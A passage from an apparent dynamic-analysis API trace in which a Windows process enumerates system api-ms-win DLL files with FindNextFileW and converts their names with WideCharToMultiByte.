lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0024.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-TIMEZONE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0xddc288, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-TIMEZONE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0024.058] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d21b931, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d21b931, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x2d21a280, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="api-ms-win-core-util-l1-1-0.dll", cAlternateFileName="")) returned 1 [0024.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-UTIL-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0024.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-UTIL-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0xddc120, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-UTIL-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0024.058] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d9fe1dc, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d9fe1dc, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x2d9fd330, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="api-ms-win-core-xstate-l1-1-0.dll", cAlternateFileName="")) returned 1 [0024.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-XSTATE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0024.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-XSTATE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0xddc288, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-XSTATE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0024.058] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84ddeb0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84ddeb0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="api-ms-win-core-xstate-l2-1-0.dll", cAlternateFileName="")) returned 1 [0024.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-XSTATE-L2-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0024.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-XSTATE-L2-1-0.DLL", cchWideChar=33, lpMultiByteStr=0xddc120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-XSTATE-L2-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0024.059] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8576430, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8576430, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3160, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="api-ms-win-crt-conio-l1-1-0.dll", cAlternateFileName="")) returned 1 [0024.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-CONIO-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0024.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-CONIO-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0xddc288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-CONIO-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0024.059] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb852a170, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb852a170, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3d60, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="api-ms-win-crt-convert-l1-1-0.dll", cAlternateFileName="")) returned 1 [0024.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-CONVERT-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0024.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-CONVERT-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0xddc120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-CONVERT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0024.059] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8504010, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8504010, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="api-ms-win-crt-environment-l1-1-0.dll", cAlternateFileName="")) returned 1 [0024.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-ENVIRONMENT-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0024.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-ENVIRONMENT-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0xddc288, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-ENVIRONMENT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 37 [0024.059] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb852a170, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb852a170, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3560, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="api-ms-win-crt-filesystem-l1-1-0.dll", cAlternateFileName="")) returned 1 [0024.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-FILESYSTEM-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0024.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-FILESYSTEM-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0xddc120, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-FILESYSTEM-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 36 [0024.059] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8491bf0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8491bf0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3160, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="api-ms-win-crt-heap-l1-1-0.dll", cAlternateFileName="")) returned 1 [0024.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-HEAP-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0024.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-HEAP-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0xddc288, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-HEAP-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 30 [0024.059] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8491bf0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8491bf0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="api-ms-win-crt-locale-l1-1-0.dll", cAlternateFileName="")) returned 1 [0024.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-LOCALE-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0024.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-LOCALE-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0xddc120, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-LOCALE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0024.059] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb846ba90, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb846ba90, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d0d57b, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x5760, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="api-ms-win-crt-math-l1-1-0.dll", cAlternateFileName="")) returned 1 [0024.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-MATH-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0024.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-MATH-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0xddc288, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-MATH-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 30 [0024.060] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8445930, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8445930, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d0d57b, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x4d60, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="api-ms-win-crt-multibyte-l1-1-0.dll", cAlternateFileName="")) returned 1 [0024.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-MULTIBYTE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0024.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-MULTIBYTE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0xddc120, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-MULTIBYTE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0024.060] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8125c50, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8125c50, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d0d57b, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x10360, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="api-ms-win-crt-private-l1-1-0.dll", cAlternateFileName="")) returned 1 [0024.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-PRIVATE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0024.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-PRIVATE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0xddc288, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-PRIVATE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0024.060] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84ddeb0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84ddeb0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d336dc, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3160, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="api-ms-win-crt-process-l1-1-0.dll", cAlternateFileName="")) returned 1 [0024.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-PROCESS-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0024.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-PROCESS-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0xddc120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-PROCESS-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0024.060] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84b7d50, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84b7d50, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d336dc, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3f60, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="api-ms-win-crt-runtime-l1-1-0.dll", cAlternateFileName="")) returned 1 [0024.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-RUNTIME-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0024.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-RUNTIME-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0xddc288, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-RUNTIME-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0024.060] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84ddeb0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84ddeb0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d336dc, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x4560, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="api-ms-win-crt-stdio-l1-1-0.dll", cAlternateFileName="")) returned 1 [0024.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-STDIO-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0024.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-STDIO-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0xddc120, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-STDIO-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0024.060] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb85502d0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb85502d0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d336dc, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x4560, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="api-ms-win-crt-string-l1-1-0.dll", cAlternateFileName="")) returned 1 [0024.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-STRING-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0024.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-STRING-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0xddc288, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-STRING-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0024.060] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84ddeb0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84ddeb0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d5983d, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3760, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="api-ms-win-crt-time-l1-1-0.dll", cAlternateFileName="")) returned 1 [0024.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-TIME-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0024.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-TIME-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0xddc120, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-TIME-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 30 [0024.062] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8576430, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8576430, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d5983d, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="api-ms-win-crt-utility-l1-1-0.dll", cAlternateFileName="")) returned 1 [0024.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-UTILITY-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0024.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-UTILITY-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0xddc288, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-UTILITY-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0024.062] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8504010, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8504010, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d5983d, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="api-ms-win-eventing-provider-l1-1-0.dll", cAlternateFileName="")) returned 1 [0024.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-EVENTING-PROVIDER-L1-1-0.DLL", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0024.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-EVENTING-PROVIDER-L1-1-0.DLL", cchWideChar=39, lpMultiByteStr=0xddc120, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-EVENTING-PROVIDER-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 39 [0024.062] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1833b5, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1833b5, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x2d1a7690, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="api-ms-win-security-base-l1-1-0.dll", cAlternateFileName="")) returned 1 [0024.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-BASE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0024.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-BASE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0xddc288, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SECURITY-BASE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0024.062] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x4f381b9f, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x4f381b9f, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x4f37fbd0, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, 